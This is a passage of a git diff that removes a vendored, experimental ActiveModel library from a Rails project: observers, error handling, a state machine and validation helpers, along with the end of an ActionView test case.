-        assert_match /Hello: EloyHello: Manfred/, render(:partial => 'test/from_helper')
-      end
-
-      test "no additional helpers should shared across test cases" do
-        assert !test_case.ancestors.include?(AnotherTestHelper)
-        assert_raise(NoMethodError) { send :from_another_helper }
-      end
-
-      test "is able to use routes" do
-        controller.request.assign_parameters('foo', 'index')
-        assert_equal '/foo', url_for
-        assert_equal '/bar', url_for(:controller => 'bar')
-      end
-
-      test "is able to use named routes" do
-        with_routing do |set|
-          set.draw { |map| map.resources :contents }
-          assert_equal 'http://test.host/contents/new', new_content_url
-          assert_equal 'http://test.host/contents/1',   content_url(:id => 1)
-        end
-      end
-
-      test "named routes can be used from helper included in view" do
-        with_routing do |set|
-          set.draw { |map| map.resources :contents }
-          master_helper_module.module_eval do
-            def render_from_helper
-              new_content_url
-            end
-          end
-
-          assert_equal 'http://test.host/contents/new', render(:partial => 'test/from_helper')
-        end
-      end
-
-      test "is able to render partials with local variables" do
-        assert_equal 'Eloy', render('developers/developer', :developer => stub(:name => 'Eloy'))
-        assert_equal 'Eloy', render(:partial => 'developers/developer',
-                                    :locals => { :developer => stub(:name => 'Eloy') })
-      end
-
-      test "is able to render partials from templates and also use instance variables" do
-        TestController.stubs(:controller_path).returns('test')
-
-        @customers = [stub(:name => 'Eloy'), stub(:name => 'Manfred')]
-        assert_match /Hello: EloyHello: Manfred/, render(:file => 'test/list')
-      end
-
-      test "is able to make methods available to the view" do
-        master_helper_module.module_eval do
-          def render_from_helper; from_test_case end
-        end
-        assert_equal 'Word!', render(:partial => 'test/from_helper')
-      end
-
-      def from_test_case; 'Word!'; end
-      helper_method :from_test_case
-    end
-
-    class AssertionsTest < ActionView::TestCase
-      def render_from_helper
-        form_tag('/foo') do
-          concat render(:text => '<ul><li>foo</li></ul>'.html_safe)
-        end
-      end
-      helper_method :render_from_helper
-
-      test "uses the output_buffer for assert_select" do
-        render(:partial => 'test/from_helper')
-
-        assert_select 'form' do
-          assert_select 'li', :text => 'foo'
-        end
-      end
-    end
-  end
-end
diff --git a/vendor/rails/activemodel/CHANGES b/vendor/rails/activemodel/CHANGES
deleted file mode 100644
index a9f9c275..00000000
--- a/vendor/rails/activemodel/CHANGES
+++ /dev/null
@@ -1,12 +0,0 @@
-Changes from extracting bits to ActiveModel
-
-* ActiveModel::Observer#add_observer!
-
-  It has a custom hook to define after_find that should really be in a
-  ActiveRecord::Observer subclass:
-
-	  def add_observer!(klass)
-	    klass.add_observer(self)
-	    klass.class_eval 'def after_find() end' unless 
-				klass.respond_to?(:after_find)
-	  end
\ No newline at end of file
diff --git a/vendor/rails/activemodel/README b/vendor/rails/activemodel/README
deleted file mode 100644
index c20f732a..00000000
--- a/vendor/rails/activemodel/README
+++ /dev/null
@@ -1,21 +0,0 @@
-Active Model
-==============
-
-Totally experimental library that aims to extract common model mixins from
-ActiveRecord for use in ActiveResource (and other similar libraries).  
-This is in a very rough state (no autotest or spec rake tasks set up yet),
-so please excuse the mess.  
-
-Here's what I plan to extract:
-  * ActiveModel::Observing 
-  * ActiveModel::Callbacks
-  * ActiveModel::Validations
-
-	# for ActiveResource params and ActiveRecord options
-  * ActiveModel::Scoping
-
-	# to_json, to_xml, etc
-  * ActiveModel::Serialization
-
-I'm trying to keep ActiveRecord compatibility where possible, but I'm
-annotating the spots where I'm diverging a bit.
\ No newline at end of file
diff --git a/vendor/rails/activemodel/Rakefile b/vendor/rails/activemodel/Rakefile
deleted file mode 100755
index 6e7df2e7..00000000
--- a/vendor/rails/activemodel/Rakefile
+++ /dev/null
@@ -1,24 +0,0 @@
-#!/usr/bin/env ruby
-require 'rake'
-require 'rake/testtask'
-require 'rdoc/task'
-
-task :default => :test
-
-Rake::TestTask.new do |t| 
-  t.libs << "test"
-  t.pattern = 'test/**/*_test.rb'
-  t.verbose = true
-  t.warning = true
-end
-
-# Generate the RDoc documentation
-RDoc::Task.new do |rdoc|
-  rdoc.rdoc_dir = 'doc'
-  rdoc.title    = "Active Model"
-  rdoc.options << '--line-numbers' << '--inline-source' << '-A cattr_accessor=object'
-  rdoc.options << '--charset' << 'utf-8'
-  rdoc.template = ENV['template'] ? "#{ENV['template']}.rb" : '../doc/template/horo'
-  rdoc.rdoc_files.include('README', 'CHANGES')
-  rdoc.rdoc_files.include('lib/**/*.rb')
-end
diff --git a/vendor/rails/activemodel/lib/active_model.rb b/vendor/rails/activemodel/lib/active_model.rb
deleted file mode 100644
index 4ed7b088..00000000
--- a/vendor/rails/activemodel/lib/active_model.rb
+++ /dev/null
@@ -1,5 +0,0 @@
-require 'active_model/observing'
-# disabled until they're tested
-# require 'active_model/callbacks'
-# require 'active_model/validations'
-require 'active_model/base'
\ No newline at end of file
diff --git a/vendor/rails/activemodel/lib/active_model/base.rb b/vendor/rails/activemodel/lib/active_model/base.rb
deleted file mode 100644
index a500adfd..00000000
--- a/vendor/rails/activemodel/lib/active_model/base.rb
+++ /dev/null
@@ -1,8 +0,0 @@
-module ActiveModel
-  class Base
-    include Observing
-    # disabled, until they're tested
-    # include Callbacks
-    # include Validations
-  end
-end
\ No newline at end of file
diff --git a/vendor/rails/activemodel/lib/active_model/callbacks.rb b/vendor/rails/activemodel/lib/active_model/callbacks.rb
deleted file mode 100644
index c94f7610..00000000
--- a/vendor/rails/activemodel/lib/active_model/callbacks.rb
+++ /dev/null
@@ -1,7 +0,0 @@
-require 'active_model/core'
-
-module ActiveModel
-  module Callbacks
-    
-  end
-end
\ No newline at end of file
diff --git a/vendor/rails/activemodel/lib/active_model/core.rb b/vendor/rails/activemodel/lib/active_model/core.rb
deleted file mode 100644
index 47b968e1..00000000
--- a/vendor/rails/activemodel/lib/active_model/core.rb
+++ /dev/null
@@ -1,7 +0,0 @@
-# This file is required by each major ActiveModel component for the core requirements.  This allows you to
-# load individual pieces of ActiveModel as needed.
-$LOAD_PATH << File.join(File.dirname(__FILE__), '..', '..', '..', 'activesupport', 'lib')
-
-# premature optimization?
-# So far, we only need the string inflections and not the rest of ActiveSupport.
-require 'active_support/inflector'
\ No newline at end of file
diff --git a/vendor/rails/activemodel/lib/active_model/deprecated_error_methods.rb b/vendor/rails/activemodel/lib/active_model/deprecated_error_methods.rb
deleted file mode 100644
index e0cbd9ba..00000000
--- a/vendor/rails/activemodel/lib/active_model/deprecated_error_methods.rb
+++ /dev/null
@@ -1,38 +0,0 @@
-module ActiveModel
-  module DeprecatedErrorMethods
-    def on(attribute)
-      ActiveSupport::Deprecation.warn "Errors#on have been deprecated, use Errors#[] instead"
-      self[attribute]
-    end
-
-    def on_base
-      ActiveSupport::Deprecation.warn "Errors#on_base have been deprecated, use Errors#[:base] instead"
-      on(:base)
-    end
-
-    def add(attribute, msg = Errors.default_error_messages[:invalid])
-      ActiveSupport::Deprecation.warn "Errors#add(attribute, msg) has been deprecated, use Errors#[attribute] << msg instead"
-      self[attribute] << msg
-    end
-
-    def add_to_base(msg)
-      ActiveSupport::Deprecation.warn "Errors#add_to_base(msg) has been deprecated, use Errors#[:base] << msg instead"
-      self[:base] << msg
-    end
-  
-    def invalid?(attribute)
-      ActiveSupport::Deprecation.warn "Errors#invalid?(attribute) has been deprecated, use Errors#[attribute].any? instead"
-      self[attribute].any?
-    end
-
-    def full_messages
-      ActiveSupport::Deprecation.warn "Errors#full_messages has been deprecated, use Errors#to_a instead"
-      to_a
-    end
-
-    def each_full
-      ActiveSupport::Deprecation.warn "Errors#each_full has been deprecated, use Errors#to_a.each instead"
-      to_a.each { |error| yield error }
-    end
-  end
-end
\ No newline at end of file
diff --git a/vendor/rails/activemodel/lib/active_model/errors.rb b/vendor/rails/activemodel/lib/active_model/errors.rb
deleted file mode 100644
index bcf08102..00000000
--- a/vendor/rails/activemodel/lib/active_model/errors.rb
+++ /dev/null
@@ -1,82 +0,0 @@
-module ActiveModel
-  class Errors < Hash
-    include DeprecatedErrorMethods
-    
-    @@default_error_messages = {
-      :inclusion                => "is not included in the list",
-      :exclusion                => "is reserved",
-      :invalid                  => "is invalid",
-      :confirmation             => "doesn't match confirmation",
-      :accepted                 => "must be accepted",
-      :empty                    => "can't be empty",
-      :blank                    => "can't be blank",
-      :too_long                 => "is too long (maximum is %d characters)",
-      :too_short                => "is too short (minimum is %d characters)",
-      :wrong_length             => "is the wrong length (should be %d characters)",
-      :taken                    => "has already been taken",
-      :not_a_number             => "is not a number",
-      :greater_than             => "must be greater than %d",
-      :greater_than_or_equal_to => "must be greater than or equal to %d",
-      :equal_to                 => "must be equal to %d",
-      :less_than                => "must be less than %d",
-      :less_than_or_equal_to    => "must be less than or equal to %d",
-      :odd                      => "must be odd",
-      :even                     => "must be even"
-    }
-  
-    ##
-    # :singleton-method:
-    # Holds a hash with all the default error messages that can be replaced by your own copy or localizations.
-    cattr_accessor :default_error_messages
-
-    alias_method :get, :[]
-    alias_method :set, :[]=
-
-    def [](attribute)
-      if errors = get(attribute.to_sym)
-        errors.size == 1 ? errors.first : errors
-      else
-        set(attribute.to_sym, [])
-      end
-    end
-
-    def []=(attribute, error)
-      self[attribute.to_sym] << error
-    end
-
-    def each
-      each_key do |attribute| 
-        self[attribute].each { |error| yield attribute, error }
-      end
-    end
-
-    def size
-      values.flatten.size
-    end
-
-    def to_a
-      inject([]) do |errors_with_attributes, (attribute, errors)|
-        if error.blank?
-          errors_with_attributes
-        else
-          if attr == :base
-            errors_with_attributes << error
-          else
-            errors_with_attributes << (attribute.to_s.humanize + " " + error)
-          end
-        end
-      end
-    end
-
-    def to_xml(options={})
-      options[:root]    ||= "errors"
-      options[:indent]  ||= 2
-      options[:builder] ||= Builder::XmlMarkup.new(:indent => options[:indent])
-
-      options[:builder].instruct! unless options.delete(:skip_instruct)
-      options[:builder].errors do |e|
-        to_a.each { |error| e.error(error) }
-      end
-    end
-  end
-end
\ No newline at end of file
diff --git a/vendor/rails/activemodel/lib/active_model/observing.rb b/vendor/rails/activemodel/lib/active_model/observing.rb
deleted file mode 100644
index 9e99d747..00000000
--- a/vendor/rails/activemodel/lib/active_model/observing.rb
+++ /dev/null
@@ -1,98 +0,0 @@
-require 'observer'
-require 'singleton'
-require 'active_model/core'
-
-module ActiveModel
-  module Observing
-    module ClassMethods
-      def observers
-        @observers ||= []
-      end
-      
-      def observers=(*values)
-        @observers = values.flatten
-      end
-      
-      def instantiate_observers
-        observers.each { |o| instantiate_observer(o) }
-      end
-    
-    protected
-      def instantiate_observer(observer)
-        # string/symbol
-        if observer.respond_to?(:to_sym)
-          observer = observer.to_s.camelize.constantize.instance
-        elsif observer.respond_to?(:instance)
-          observer.instance
-        else
-          raise ArgumentError, "#{observer} must be a lowercase, underscored class name (or an instance of the class itself) responding to the instance method. Example: Person.observers = :big_brother # calls BigBrother.instance"
-        end
-      end
-      
-      # Notify observers when the observed class is subclassed.
-      def inherited(subclass)
-        super
-        changed
-        notify_observers :observed_class_inherited, subclass
-      end
-    end
-    
-    def self.included(receiver)
-      receiver.extend Observable, ClassMethods
-    end
-  end
-
-  class Observer
-    include Singleton
-    attr_writer :observed_classes
-
-    class << self
-      attr_accessor :models
-      # Attaches the observer to the supplied model classes.
-      def observe(*models)
-        @models = models.flatten
-        @models.collect! { |model| model.respond_to?(:to_sym) ? model.to_s.camelize.constantize : model }
-      end
-
-      def observed_class_name
-        @observed_class_name ||= 
-          if guessed_name = name.scan(/(.*)Observer/)[0]
-            @observed_class_name = guessed_name[0]
-          end
-      end
-
-      # The class observed by default is inferred from the observer's class name:
-      #   assert_equal [Person], PersonObserver.observed_class
-      def observed_class
-        if observed_class_name
-          observed_class_name.constantize
-        else
-          nil
-        end
-      end
-    end
-
-    # Start observing the declared classes and their subclasses.
-    def initialize
-      self.observed_classes = self.class.models if self.class.models
-      observed_classes.each { |klass| klass.add_observer(self) }
-    end
-
-    # Send observed_method(object) if the method exists.
-    def update(observed_method, object) #:nodoc:
-      send(observed_method, object) if respond_to?(observed_method)
-    end
-
-    # Special method sent by the observed class when it is inherited.
-    # Passes the new subclass.
-    def observed_class_inherited(subclass) #:nodoc:
-      self.class.observe(observed_classes + [subclass])
-      subclass.add_observer(self)
-    end
-
-  protected
-    def observed_classes
-      @observed_classes ||= [self.class.observed_class]
-    end
-  end
-end
\ No newline at end of file
diff --git a/vendor/rails/activemodel/lib/active_model/state_machine.rb b/vendor/rails/activemodel/lib/active_model/state_machine.rb
deleted file mode 100644
index bce90fd7..00000000
--- a/vendor/rails/activemodel/lib/active_model/state_machine.rb
+++ /dev/null
@@ -1,68 +0,0 @@
-module ActiveModel
-  module StateMachine
-    class InvalidTransition < Exception
-    end
-
-    def self.included(base)
-      require 'active_model/state_machine/machine'
-      base.extend ClassMethods
-    end
-
-    module ClassMethods
-      def inherited(klass)
-        super
-        klass.state_machines = state_machines
-      end
-
-      def state_machines
-        @state_machines ||= {}
-      end
-
-      def state_machines=(value)
-        @state_machines = value ? value.dup : nil
-      end
-
-      def state_machine(name = nil, options = {}, &block)
-        if name.is_a?(Hash)
-          options = name
-          name    = nil
-        end
-        name ||= :default
-        state_machines[name] ||= Machine.new(self, name)
-        block ? state_machines[name].update(options, &block) : state_machines[name]
-      end
-
-      def define_state_query_method(state_name)
-        name = "#{state_name}?"
-        undef_method(name) if method_defined?(name)
-        class_eval "def #{name}; current_state.to_s == %(#{state_name}) end"
-      end
-    end
-
-    def current_state(name = nil, new_state = nil, persist = false)
-      sm   = self.class.state_machine(name)
-      ivar = sm.current_state_variable
-      if name && new_state
-        if persist && respond_to?(:write_state)
-          write_state(sm, new_state)
-        end
-
-        if respond_to?(:write_state_without_persistence)
-          write_state_without_persistence(sm, new_state)
-        end
-
-        instance_variable_set(ivar, new_state)
-      else
-        instance_variable_set(ivar, nil) unless instance_variable_defined?(ivar)
-        value = instance_variable_get(ivar)
-        return value if value
-
-        if respond_to?(:read_state)
-          value = instance_variable_set(ivar, read_state(sm))
-        end
-
-        value || sm.initial_state
-      end
-    end
-  end
-end
diff --git a/vendor/rails/activemodel/lib/active_model/state_machine/event.rb b/vendor/rails/activemodel/lib/active_model/state_machine/event.rb
deleted file mode 100644
index 3eb656b6..00000000
--- a/vendor/rails/activemodel/lib/active_model/state_machine/event.rb
+++ /dev/null
@@ -1,64 +0,0 @@
-require 'active_model/state_machine/state_transition'
-
-module ActiveModel
-  module StateMachine
-    class Event
-      attr_reader :name, :success
-
-      def initialize(machine, name, options = {}, &block)
-        @machine, @name, @transitions = machine, name, []
-        if machine
-          machine.klass.send(:define_method, "#{name}!") do |*args|
-            machine.fire_event(name, self, true, *args)
-          end
-
-          machine.klass.send(:define_method, name.to_s) do |*args|
-            machine.fire_event(name, self, false, *args)
-          end
-        end
-        update(options, &block)
-      end
-
-      def fire(obj, to_state = nil, *args)
-        transitions = @transitions.select { |t| t.from == obj.current_state(@machine ? @machine.name : nil) }
-        raise InvalidTransition if transitions.size == 0
-
-        next_state = nil
-        transitions.each do |transition|
-          next if to_state && !Array(transition.to).include?(to_state)
-          if transition.perform(obj)
-            next_state = to_state || Array(transition.to).first
-            transition.execute(obj, *args)
-            break
-          end
-        end
-        next_state
-      end
-
-      def transitions_from_state?(state)
-        @transitions.any? { |t| t.from? state }
-      end
-
-      def ==(event)
-        if event.is_a? Symbol
-          name == event
-        else
-          name == event.name
-        end
-      end
-
-      def update(options = {}, &block)
-        if options.key?(:success) then @success = options[:success] end
-        if block                  then instance_eval(&block)        end
-        self
-      end
-
-    private
-      def transitions(trans_opts)
-        Array(trans_opts[:from]).each do |s|
-          @transitions << StateTransition.new(trans_opts.merge({:from => s.to_sym}))
-        end
-      end
-    end
-  end
-end
diff --git a/vendor/rails/activemodel/lib/active_model/state_machine/machine.rb b/vendor/rails/activemodel/lib/active_model/state_machine/machine.rb
deleted file mode 100644
index a5ede021..00000000
--- a/vendor/rails/activemodel/lib/active_model/state_machine/machine.rb
+++ /dev/null
@@ -1,78 +0,0 @@
-require 'active_model/state_machine/state'
-require 'active_model/state_machine/event'
-
-module ActiveModel
-  module StateMachine
-    class Machine
-      attr_writer :initial_state
-      attr_accessor :states, :events, :state_index
-      attr_reader :klass, :name
-
-      def initialize(klass, name, options = {}, &block)
-        @klass, @name, @states, @state_index, @events = klass, name, [], {}, {}
-        update(options, &block)
-      end
-
-      def initial_state
-        @initial_state ||= (states.first ? states.first.name : nil)
-      end
-
-      def update(options = {}, &block)
-        if options.key?(:initial) then @initial_state = options[:initial] end
-        if block                  then instance_eval(&block)              end
-        self
-      end
-
-      def fire_event(event, record, persist, *args)
-        state_index[record.current_state(@name)].call_action(:exit, record)
-        if new_state = @events[event].fire(record, *args)
-          state_index[new_state].call_action(:enter, record)
-
-          if record.respond_to?(event_fired_callback)
-            record.send(event_fired_callback, record.current_state, new_state)
-          end
-
-          record.current_state(@name, new_state, persist)
-          record.send(@events[event].success) if @events[event].success
-          true
-        else
-          if record.respond_to?(event_failed_callback)
-            record.send(event_failed_callback, event)
-          end
-
-          false
-        end
-      end
-
-      def states_for_select
-        states.map { |st| [st.display_name, st.name.to_s] }
-      end
-
-      def events_for(state)
-        events = @events.values.select { |event| event.transitions_from_state?(state) }
-        events.map! { |event| event.name }
-      end
-
-      def current_state_variable
-        "@#{@name}_current_state"
-      end
-
-    private
-      def state(name, options = {})
-        @states << (state_index[name] ||= State.new(name, :machine => self)).update(options)
-      end
-
-      def event(name, options = {}, &block)
-        (@events[name] ||= Event.new(self, name)).update(options, &block)
-      end
-
-      def event_fired_callback
-        @event_fired_callback ||= (@name == :default ? '' : "#{@name}_") + 'event_fired'
-      end
-
-      def event_failed_callback
-        @event_failed_callback ||= (@name == :default ? '' : "#{@name}_") + 'event_failed'
-      end
-    end
-  end
-end
diff --git a/vendor/rails/activemodel/lib/active_model/state_machine/state.rb b/vendor/rails/activemodel/lib/active_model/state_machine/state.rb
deleted file mode 100644
index 76916b1d..00000000
--- a/vendor/rails/activemodel/lib/active_model/state_machine/state.rb
+++ /dev/null
@@ -1,47 +0,0 @@
-module ActiveModel
-  module StateMachine
-    class State
-      attr_reader :name, :options
-
-      def initialize(name, options = {})
-        @name = name
-        if machine = options.delete(:machine)
-          machine.klass.define_state_query_method(name)
-        end
-        update(options)
-      end
-
-      def ==(state)
-        if state.is_a? Symbol
-          name == state
-        else
-          name == state.name
-        end
-      end
-
-      def call_action(action, record)
-        action = @options[action]
-        case action
-        when Symbol, String
-          record.send(action)
-        when Proc
-          action.call(record)
-        end
-      end
-
-      def display_name
-        @display_name ||= name.to_s.gsub(/_/, ' ').capitalize
-      end
-
-      def for_select
-        [display_name, name.to_s]
-      end
-
-      def update(options = {})
-        if options.key?(:display) then @display_name = options.delete(:display) end
-        @options = options
-        self
-      end
-    end
-  end
-end
diff --git a/vendor/rails/activemodel/lib/active_model/state_machine/state_transition.rb b/vendor/rails/activemodel/lib/active_model/state_machine/state_transition.rb
deleted file mode 100644
index f9df998e..00000000
--- a/vendor/rails/activemodel/lib/active_model/state_machine/state_transition.rb
+++ /dev/null
@@ -1,40 +0,0 @@
-module ActiveModel
-  module StateMachine
-    class StateTransition
-      attr_reader :from, :to, :options
-
-      def initialize(opts)
-        @from, @to, @guard, @on_transition = opts[:from], opts[:to], opts[:guard], opts[:on_transition]
-        @options = opts
-      end
-
-      def perform(obj)
-        case @guard
-        when Symbol, String
-          obj.send(@guard)
-        when Proc
-          @guard.call(obj)
-        else
-          true
-        end
-      end
-      
-      def execute(obj, *args)
-        case @on_transition
-        when Symbol, String
-          obj.send(@on_transition, *args)
-        when Proc
-          @on_transition.call(obj, *args)
-        end
-      end
-
-      def ==(obj)
-        @from == obj.from && @to == obj.to
-      end
-
-      def from?(value)
-        @from == value
-      end
-    end
-  end
-end
diff --git a/vendor/rails/activemodel/lib/active_model/validations.rb b/vendor/rails/activemodel/lib/active_model/validations.rb
deleted file mode 100644
index 460d2d82..00000000
--- a/vendor/rails/activemodel/lib/active_model/validations.rb
+++ /dev/null
@@ -1,126 +0,0 @@
-require 'active_model/core'
-
-module ActiveModel
-  module Validations
-    def self.included(base) # :nodoc:
-      base.extend(ClassMethods)
-      base.__send__(:include, ActiveSupport::Callbacks)
-      base.define_callbacks :validate, :validate_on_create, :validate_on_update
-    end
-
-    module ClassMethods
-      DEFAULT_VALIDATION_OPTIONS = { :on => :save, :allow_nil => false, :allow_blank => false, :message => nil }.freeze
-
-      # Adds a validation method or block to the class. This is useful when
-      # overriding the +validate+ instance method becomes too unwieldly and
-      # you're looking for more descriptive declaration of your validations.
-      #
-      # This can be done with a symbol pointing to a method:
-      #
-      #   class Comment < ActiveRecord::Base
-      #     validate :must_be_friends
-      #
-      #     def must_be_friends
-      #       errors.add_to_base("Must be friends to leave a comment") unless commenter.friend_of?(commentee)
-      #     end
-      #   end
-      #
-      # Or with a block which is passed the current record to be validated:
-      #
-      #   class Comment < ActiveRecord::Base
-      #     validate do |comment|
-      #       comment.must_be_friends
-      #     end
-      #
-      #     def must_be_friends
-      #       errors.add_to_base("Must be friends to leave a comment") unless commenter.friend_of?(commentee)
-      #     end
-      #   end
-      #
-      # This usage applies to +validate_on_create+ and +validate_on_update as well+.
-      #
-      # Validates each attribute against a block.
-      #
-      #   class Person < ActiveRecord::Base
-      #     validates_each :first_name, :last_name do |record, attr, value|
-      #       record.errors.add attr, 'starts with z.' if value[0] == ?z
-      #     end
-      #   end
-      #
-      # Options:
-      # * <tt>:on</tt> - Specifies when this validation is active (default is <tt>:save</tt>, other options <tt>:create</tt>, <tt>:update</tt>)
-      # * <tt>:allow_nil</tt> - Skip validation if attribute is +nil+.
-      # * <tt>:allow_blank</tt> - Skip validation if attribute is blank.
-      # * <tt>:if</tt> - Specifies a method, proc or string to call to determine if the validation should
-      #   occur (e.g. <tt>:if => :allow_validation</tt>, or <tt>:if => Proc.new { |user| user.signup_step > 2 }</tt>).  The
-      #   method, proc or string should return or evaluate to a true or false value.
-      # * <tt>:unless</tt> - Specifies a method, proc or string to call to determine if the validation should
-      #   not occur (e.g. <tt>:unless => :skip_validation</tt>, or <tt>:unless => Proc.new { |user| user.signup_step <= 2 }</tt>).  The
-      #   method, proc or string should return or evaluate to a true or false value.
-      def validates_each(*attrs)
-        options = attrs.extract_options!.symbolize_keys
-        attrs   = attrs.flatten
-
-        # Declare the validation.
-        send(validation_method(options[:on] || :save), options) do |record|
-          attrs.each do |attr|
-            value = record.send(attr)
-            next if (value.nil? && options[:allow_nil]) || (value.blank? && options[:allow_blank])
-            yield record, attr, value
-          end
-        end
-      end
-
-      private
-        def validation_method(on)
-          case on
-            when :save   then :validate
-            when :create then :validate_on_create
-            when :update then :validate_on_update
-          end
-        end
-    end
-
-    # Returns the Errors object that holds all information about attribute error messages.
-    def errors
-      @errors ||= Errors.new
-    end
-
-    # Runs all the specified validations and returns true if no errors were added otherwise false.
-    def valid?
-      errors.clear
-
-      run_callbacks(:validate)
-      
-      if responds_to?(:validate)
-        ActiveSupport::Deprecations.warn "Base#validate has been deprecated, please use Base.validate :method instead"
-        validate
-      end
-
-      if new_record?
-        run_callbacks(:validate_on_create)
-
-        if responds_to?(:validate_on_create)
-          ActiveSupport::Deprecations.warn(
-            "Base#validate_on_create has been deprecated, please use Base.validate_on_create :method instead")
-          validate_on_create
-        end
-      else
-        run_callbacks(:validate_on_update)
-
-        if responds_to?(:validate_on_update)
-          ActiveSupport::Deprecations.warn(
-            "Base#validate_on_update has been deprecated, please use Base.validate_on_update :method instead")
-          validate_on_update
-        end
-      end
-
-      errors.empty?
-    end
-  end
-end
-
-Dir[File.dirname(__FILE__) + "/validations/*.rb"].sort.each do |path|
-  filename = File.basename(path)
-  require "active_model/validations/#{filename}"
-end
\ No newline at end of file
diff --git a/vendor/rails/activemodel/lib/active_model/validations/acceptance.rb b/vendor/rails/activemodel/lib/active_model/validations/acceptance.rb
deleted file mode 100644
index 9be7d51f..00000000
--- a/vendor/rails/activemodel/lib/active_model/validations/acceptance.rb
+++ /dev/null
@@ -1,45 +0,0 @@
-module ActiveModel
-  module Validations
-    module ClassMethods
-      # Encapsulates the pattern of wanting to validate the acceptance of a terms of service check box (or similar agreement). Example:
-      #
-      #   class Person < ActiveRecord::Base
-      #     validates_acceptance_of :terms_of_service
-      #     validates_acceptance_of :eula, :message => "must be abided"
-      #   end
-      #
-      # If the database column does not exist, the <tt>:terms_of_service</tt> attribute is entirely virtual. This check is
-      # performed only if <tt>:terms_of_service</tt> is not +nil+ and by default on save.
-      #
-      # Configuration options:
-      # * <tt>:message</tt> - A custom error message (default is: "must be accepted")
-      # * <tt>:on</tt> - Specifies when this validation is active (default is <tt>:save</tt>, other options <tt>:create</tt>, <tt>:update</tt>)
-      # * <tt>:allow_nil</tt> - Skip validation if attribute is +nil+. (default is +true+)
-      # * <tt>:accept</tt> - Specifies value that is considered accepted.  The default value is a string "1", which
-      #   makes it easy to relate to an HTML checkbox. This should be set to +true+ if you are validating a database
-      #   column, since the attribute is typecasted from "1" to +true+ before validation.
-      # * <tt>:if</tt> - Specifies a method, proc or string to call to determine if the validation should
-      #   occur (e.g. <tt>:if => :allow_validation</tt>, or <tt>:if => Proc.new { |user| user.signup_step > 2 }</tt>).  The
-      #   method, proc or string should return or evaluate to a true or false value.
-      # * <tt>:unless</tt> - Specifies a method, proc or string to call to determine if the validation should
-      #   not occur (e.g. <tt>:unless => :skip_validation</tt>, or <tt>:unless => Proc.new { |user| user.signup_step <= 2 }</tt>).  The
-      #   method, proc or string should return or evaluate to a true or false value.
-      def validates_acceptance_of(*attr_names)
-        configuration = { :message => ActiveRecord::Errors.default_error_messages[:accepted], :on => :save, :allow_nil => true, :accept => "1" }
-        configuration.update(attr_names.extract_options!)
-
-        db_cols = begin
-          column_names
-        rescue ActiveRecord::StatementInvalid
-          []
-        end
-        names = attr_names.reject { |name| db_cols.include?(name.to_s) }
-        attr_accessor(*names)
-
-        validates_each(attr_names,configuration) do |record, attr_name, value|
-          record.errors.add(attr_name, configuration[:message]) unless value == configuration[:accept]
-        end
-      end
-    end
-  end
-end
\ No newline at end of file
diff --git a/vendor/rails/activemodel/lib/active_model/validations/associated.rb b/vendor/rails/activemodel/lib/active_model/validations/associated.rb
deleted file mode 100644
index b2d78af5..00000000
--- a/vendor/rails/activemodel/lib/active_model/validations/associated.rb
+++ /dev/null
@@ -1,46 +0,0 @@
-module ActiveModel
-  module Validations
-    module ClassMethods
-      # Validates whether the associated object or objects are all valid themselves. Works with any kind of association.
-      #
-      #   class Book < ActiveRecord::Base
-      #     has_many :pages
-      #     belongs_to :library
-      #
-      #     validates_associated :pages, :library
-      #   end
-      #
-      # Warning: If, after the above definition, you then wrote:
-      #
-      #   class Page < ActiveRecord::Base
-      #     belongs_to :book
-      #
-      #     validates_associated :book
-      #   end
-      #
-      # ...this would specify a circular dependency and cause infinite recursion.
-      #
-      # NOTE: This validation will not fail if the association hasn't been assigned. If you want to ensure that the association
-      # is both present and guaranteed to be valid, you also need to use +validates_presence_of+.
-      #
-      # Configuration options:
-      # * <tt>:message</tt> - A custom error message (default is: "is invalid")
-      # * <tt>:on</tt> - Specifies when this validation is active (default is <tt>:save</tt>, other options <tt>:create</tt>, <tt>:update</tt>)
-      # * <tt>:if</tt> - Specifies a method, proc or string to call to determine if the validation should
-      #   occur (e.g. <tt>:if => :allow_validation</tt>, or <tt>:if => Proc.new { |user| user.signup_step > 2 }</tt>).  The
-      #   method, proc or string should return or evaluate to a true or false value.
-      # * <tt>:unless</tt> - Specifies a method, proc or string to call to determine if the validation should
-      #   not occur (e.g. <tt>:unless => :skip_validation</tt>, or <tt>:unless => Proc.new { |user| user.signup_step <= 2 }</tt>).  The
-      #   method, proc or string should return or evaluate to a true or false value.
-      def validates_associated(*attr_names)
-        configuration = { :message => ActiveRecord::Errors.default_error_messages[:invalid], :on => :save }
-        configuration.update(attr_names.extract_options!)
-
-        validates_each(attr_names, configuration) do |record, attr_name, value|
-          record.errors.add(attr_name, configuration[:message]) unless
-            (value.is_a?(Array) ? value : [value]).inject(true) { |v, r| (r.nil? || r.valid?) && v }
-        end
-      end
-    end
-  end
-end
\ No newline at end of file
diff --git a/vendor/rails/activemodel/lib/active_model/validations/confirmation.rb b/vendor/rails/activemodel/lib/active_model/validations/confirmation.rb
deleted file mode 100644
index ba4a18ad..00000000
--- a/vendor/rails/activemodel/lib/active_model/validations/confirmation.rb
+++ /dev/null
@@ -1,44 +0,0 @@
-module ActiveModel
-  module Validations
-    module ClassMethods
-      # Encapsulates the pattern of wanting to validate a password or email address field with a confirmation. Example:
-      #
-      #   Model:
-      #     class Person < ActiveRecord::Base
-      #       validates_confirmation_of :user_name, :password
-      #       validates_confirmation_of :email_address, :message => "should match confirmation"
-      #     end
-      #
-      #   View:
-      #     <%= password_field "person", "password" %>
-      #     <%= password_field "person", "password_confirmation" %>
-      #
-      # The added +password_confirmation+ attribute is virtual; it exists only as an in-memory attribute for validating the password.
-      # To achieve this, the validation adds accessors to the model for the confirmation attribute. NOTE: This check is performed
-      # only if +password_confirmation+ is not +nil+, and by default only on save. To require confirmation, make sure to add a presence
-      # check for the confirmation attribute:
-      #
-      #   validates_presence_of :password_confirmation, :if => :password_changed?
-      #
-      # Configuration options:
-      # * <tt>:message</tt> - A custom error message (default is: "doesn't match confirmation")
-      # * <tt>:on</tt> - Specifies when this validation is active (default is <tt>:save</tt>, other options <tt>:create</tt>, <tt>:update</tt>)
-      # * <tt>:if</tt> - Specifies a method, proc or string to call to determine if the validation should
-      #   occur (e.g. <tt>:if => :allow_validation</tt>, or <tt>:if => Proc.new { |user| user.signup_step > 2 }</tt>).  The
-      #   method, proc or string should return or evaluate to a true or false value.
-      # * <tt>:unless</tt> - Specifies a method, proc or string to call to determine if the validation should
-      #   not occur (e.g. <tt>:unless => :skip_validation</tt>, or <tt>:unless => Proc.new { |user| user.signup_step <= 2 }</tt>).  The
